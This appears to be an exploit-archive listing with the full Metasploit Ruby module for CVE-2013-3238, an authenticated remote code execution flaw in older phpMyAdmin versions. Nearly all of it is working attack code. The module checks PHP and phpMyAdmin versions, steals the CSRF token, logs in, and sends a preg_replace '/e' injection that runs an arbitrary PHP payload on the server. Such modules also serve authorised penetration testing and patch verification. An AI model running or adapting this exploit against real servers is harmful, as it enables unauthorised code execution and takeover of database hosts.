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phpMyAdmin Authenticated Remote Code Execution

phpMyAdmin Authenticated Remote Code Execution
Posted Apr 29, 2013
Authored by Janek Vind aka waraxe | Site metasploit.com

This Metasploit module exploits a PREG_REPLACE_EVAL vulnerability in phpMyAdmin's replace_prefix_tbl within libraries/mult_submits.inc.php via db_settings.php. This affects versions 3.5.x below 3.5.8.1 and 4.0.0 below 4.0.0-rc3. PHP versions greater than 5.4.6 are not vulnerable.

tags | exploit, php
advisories | CVE-2013-3238, OSVDB-92793
MD5 | 0f98ac49e2a0e97b78d728dd67072274

phpMyAdmin Authenticated Remote Code Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'phpMyAdmin Authenticated Remote Code Execution via preg_replace()',
'Description' => %q{
This module exploits a PREG_REPLACE_EVAL vulnerability in phpMyAdmin's
replace_prefix_tbl within libraries/mult_submits.inc.php via db_settings.php
This affects versions 3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3.
PHP versions > 5.4.6 are not vulnerable.
},
'Author' =>
[
'Janek "waraxe" Vind', # Discovery
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-3238' ],
[ 'PMASA', '2013-2'],
[ 'waraxe', '2013-SA#103' ],
[ 'EDB', '25003'],
[ 'OSVDB', '92793'],
[ 'URL', 'http://www.waraxe.us/advisory-103.html' ],
[ 'URL', 'http://www.phpmyadmin.net/home_page/security/PMASA-2013-2.php' ]
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
{
'BadChars' => "&\n=+%",
# Clear out PMA's error handler so it doesn't lose its mind
# and cause ENOMEM errors and segfaults in the destructor.
'Prepend' => "function foo($a,$b,$c,$d,$e){return true;};set_error_handler(foo);"
},
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 25 2013'))

register_options(
[
OptString.new('TARGETURI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']),
OptString.new('USERNAME', [ true, "Username to authenticate with", 'root']),
OptString.new('PASSWORD', [ false, "Password to authenticate with", ''])
], self.class)
end

def check
begin
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/js/messages.php') })
rescue
print_error("Unable to connect to server.")
return CheckCode::Unknown
end

if res.code != 200
print_error("Unable to query /js/messages.php")
return CheckCode::Unknown
end

php_version = res['X-Powered-By']
if php_version
print_status("PHP Version: #{php_version}")
if php_version =~ /PHP\/(\d)\.(\d)\.(\d)/
if $1.to_i > 5
return CheckCode::Safe
else
if $1.to_i == 5 and $2.to_i > 4
return CheckCode::Safe
else
if $1.to_i == 5 and $2.to_i == 4 and $3.to_i > 6
return CheckCode::Safe
end
end
end
end
else
print_status("Unknown PHP Version")
end

if res.body =~ /pmaversion = '(.*)';/
print_status("phpMyAdmin version: #{$1}")
case $1.downcase
when '3.5.8.1', '4.0.0-rc3'
return CheckCode::Safe
when '4.0.0-alpha1', '4.0.0-alpha2', '4.0.0-beta1', '4.0.0-beta2', '4.0.0-beta3', '4.0.0-rc1', '4.0.0-rc2'
return CheckCode::Vulnerable
else
if $1.starts_with? '3.5.'
return CheckCode::Vulnerable
end

return CheckCode::Unknown
end
end
end

def exploit
uri = target_uri.path
print_status("Grabbing CSRF token...")
response = send_request_cgi({ 'uri' => uri})
if response.nil?
fail_with(Exploit::Failure::NotFound, "Failed to retrieve webpage.")
end

if (response.body !~ /"token"\s*value="([^"]*)"/)
fail_with(Exploit::Failure::NotFound, "Couldn't find token. Is URI set correctly?")
else
print_good("Retrieved token")
end

token = $1
post = {
'token' => token,
'pma_username' => datastore['USERNAME'],
'pma_password' => datastore['PASSWORD']
}

print_status("Authenticating...")

login = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'index.php'),
'vars_post' => post
})

if login.nil?
fail_with(Exploit::Failure::NotFound, "Failed to retrieve webpage.")
end

token = login.headers['Location'].scan(/token=(.*)[&|$]/).flatten.first

cookies = login.get_cookies

login_check = send_request_cgi({
'uri' => normalize_uri(uri, 'index.php'),
'vars_get' => { 'token' => token },
'cookie' => cookies
})

if login_check.body =~ /Welcome to/
fail_with(Exploit::Failure::NoAccess, "Authentication failed.")
else
print_good("Authentication successful")
end

db = rand_text_alpha(3+rand(3))
exploit_result = send_request_cgi({
'uri' => normalize_uri(uri, 'db_structure.php'),
'method' => 'POST',
'cookie' => cookies,
'vars_post' => {
'query_type' => 'replace_prefix_tbl',
'db' => db,
'selected[0]' => db,
'token' => token,
'from_prefix' => "/e\0",
'to_prefix' => payload.encoded,
'mult_btn' => 'Yes'
}
},1)
end
end

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